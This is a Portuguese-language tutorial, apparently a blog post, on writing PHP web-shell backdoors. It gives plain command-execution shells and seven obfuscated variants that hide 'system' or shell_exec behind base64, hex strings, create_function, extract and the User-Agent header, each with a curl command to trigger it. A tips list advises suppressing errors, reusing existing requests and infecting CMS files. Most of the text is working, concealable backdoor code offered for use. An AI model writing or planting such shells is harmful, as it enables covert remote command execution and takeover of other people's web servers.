```
$tg=_malandramente($_GET[‘ph_p’])[0];
```

•••

Tr1ck5 PHP - B4CKD0oR W3B

```
$_=”TIRA CASACO!\n”.
     “PÕE CASACO!\n”;
```

/* O aperfeiçoamento da sua técnica de programação sempre será a tr1ck mais importante */

($_=“Functions mais usadas”).exit($_);

(PHP 4, PHP 5, PHP 7)
shell_exec — Executa um comando via shell e retorna a saída inteira como uma string
string shell_exec (string $cmd)
EXEC-> php -r 'shell_exec("ls -la");'

(PHP 4, PHP 5, PHP 7)
system — Executa um programa externo e mostra a saída
string system (string $command [, int &$return_var])
EXEC-> php -r 'system("ls -la");'

(PHP 4, PHP 5, PHP 7)
exec — Executa um programa externo
string exec (string $command [, array &$output [, int &$return_var]])
EXEC-> php -r 'exec("ls -la",$_);print_r($_);'

(PHP 4, PHP 5, PHP 7)
passthru — Executa um programa externo e mostra a saída crua
void passthru (string $command [, int &$return_var])
EXEC-> php -r passthru("ls -la",$_);'

($_=“Implementação nutella”).exit($_);

shell_exec:

CODE:
```
<?php
if(isset($_REQUEST['cmd'])) { $cmd=shell_exec($_REQUEST['cmd']);
print_r($cmd);}
```

system:

CODE:
```
<?php
if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); }
```

exec:

CODE:
```
<?php
if(isset($_REQUEST['cmd'])) { exec($_REQUEST['cmd']); }
```

passthru:

CODE:
```
<?php
if(isset($_REQUEST['cmd'])) { passthru($_REQUEST['cmd']); }
```

($_=“Dicas para um implementação raiz”).exit($_);

- Uso de shellcode em valores fixos;
- Array é vida! use sem moderação;
- Concatenação de functions nativas & definição de variáveis.
- *base64_decode - encode(data) , bin2hex , error_reporting(0)*
- Use requests (get or post) que já existam no sistema;
- Estude a criação de propriedades maliciosas em class’s do sistema;
- Manuseio de valores da variável global $_SERVER;
- Estude métodos de infeção para arquivos CMS’s feitos em PHP;
- $_=”TIRA CASACO!\n”. “PÕE CASACO!\n”;

($_=“EXEMPLO #1”).exit($_);

Functions:

1. ERROR_REPORTING
2. BASE64_DECODE
3. DEFINE
4. SYSTEM

Variáveis: **c3lzdGVt** = system , **dW5hbWUgLWE7bHM7** = uname -a;ls ; , **aWQ=** = id

CODE:

```
<?php
(error_reporting(0).($__=@base64_decode("c3lzdGVt")).$__(base64_
decode("aWQ=")).define("_","dW5hbWUgLWE7bHM7").$__(base64_decode
(_)).exit);
```

```
EXEC: curl -v 'http://localhost/piro.php'
```

($_="EXEMPLO #2").exit($_);

Functions:

1. ERROR_REPORTING
2. BASE64_DECODE
3. ISSET
4. PRINT
5. SYSTEM

   Variáveis: **c3lzdGVt** = system

CODE:
```
<?php
(($__=@base64_decode("c3lzdGVt")).print($__(isset($_REQUEST[0])
?$_REQUEST[0]:NULL)).exit);
```

```
EXEC: curl -v 'http://localhost/piro.php?0=id'
```

($_=“EXEMPLO #3”).exit($_);

Functions:

1. ERROR_REPORTING
2. BASE64_DECODE
3. CREATE_FUNCTION - *Cria uma função anônima (lambda-style)*
4. SHELL_EXEC

   Variáveis: **ZWNobyhzaGVsbF9leGVjKCRfKSk7** = echo(shell_exec($_));

CODE:

```
<?php
(error_reporting(0)).($_=$_REQUEST[0]).($__=@create_function('$_',base64_decode("ZWNobyhzaGVsbF9leGVjKCRfKSk7"))).($__($_).exit);
```

```
EXEC: curl -v 'http://localhost/piro.php?0=id'
```

($_=“EXEMPLO #4”).exit($_);

Functions:

1. ERROR_REPORTING
2. VARIABLE FUNCTIONS

CODE:
```
<?php
(error_reporting(0).($_=@$_GET[1]).($_($_GET[2])).exit);
```

```
EXEC: curl -v
'http://localhost/piro.php?1=system&2=id;uname'
```

($_="EXEMPLO #5").exit($_);

Functions:

1. ERROR_REPORTING
2. EXTRACT
3. GET_DEFINED_VARS
4. DEFINE

CODE:
```
<?php
(error_reporting(0)).(extract($_REQUEST,
EXTR_PREFIX_ALL)).($_=@get_defined_vars()['_REQUEST']).(define
('_',$_[2])).(($_[1](_))).exit;
```

```
EXEC: curl -v
'http://localhost/piro.php?1=system&2=id;ls%20-la'
```

($_=“EXEMPLO #6”).exit($_);

Functions:

1. ERROR_REPORTING
2. EXPLODE
3. BASE64_DECODE
4. VARIÁVEL SERVER HTTP_USER_AGENT

   Variáveis: **SFRUUF9VU0VSX0FHRU5U** = HTTP_USER_AGENT

CODE:

```
<?php
(error_reporting(0)).($_=@explode(',',$_SERVER[base64_decode
('SFRUUF9VU0VSX0FHRU5U')])).($_[0]("{$_[1]}")).exit;
```

```
EXEC: curl -v 'http://localhost/piro.php' --user-agent 'system,id'
```

($_="EXEMPLO #7").exit($_);

Functions:

1. ERROR_REPORTING
2. GET_DEFINED_VARS
3. VARIABLE FUNCTIONS

   Variáveis: **\x30** =0, **\x73** =s, **\x79** =y , **\x73** =s, **\x74** =t, **\x65** =e, **\x6D** =m

CODE: <?php

```
(error_reporting(0)).($_[0][]=@$_GET["\x30"]).($_[1][] = "\x73").($_[1][] =
"\x79").($_[1][] = "\x73").($_[1][] = "\x74").($_[1][] = "\x65").($_[1][] =
"\x6D").($__=@get_defined_vars()['_'][1]).($___.=$__[0]).($___.=$__[1]).($___.=
$__[2]).($___.=$__[3]).($___.=$__[4]).($___.=$__[5]).(($___(" {$_[0][0]}")).exi
t);
```

```
EXEC: curl -v 'http://localhost/piro.php?0=id;uname%20-a'
```

Referências:

http://php.net/manual/en/language.operators.execution.php#language.operators.execution
https://thehackerblog.com/a-look-into-creating-a-truley-invisible-php-shell
http://www.businessinfo.co.uk/labs/talk/Nonalpha.pdf
http://php.net/manual/pt_BR/function.create-function.php
https://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html
http://web.archive.org/web/20120427221212/http://h.ackack.net/tiny-php-shell.html
http://php.net/manual/pt_BR/function.extract.php
http://blog.sucuri.net/2013/09/ask-sucuri-non-alphanumeric-backdoors.html
https://www.akamai.com/cn/zh/multimedia/documents/report/akamai-security-advisory-web-shells-backdoor-trojans-and-rats.pdf
https://aw-snap.info/articles/backdoor-examples.php
http://php.net/manual/pt_BR/reserved.variables.server.php
http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/
https://blog.sucuri.net/2013/09/ask-sucuri-non-alphanumeric-backdoors.html
http://php.net/manual/en/functions.variable-functions.php
http://php.net/manual/pt_BR/function.exec.php
http://php.net/manual/pt_BR/function.shell-exec.php
http://php.net/manual/pt_BR/function.system.php
http://php.net/manual/pt_BR/function.passthru.php
http://php.net/manual/pt_BR/function.get-defined-vars.php
http://php.net/manual/pt_BR/function.extract.php

```
exit(‘0BR1G4D0!’);
```

http://0x27null.blogspot.com.br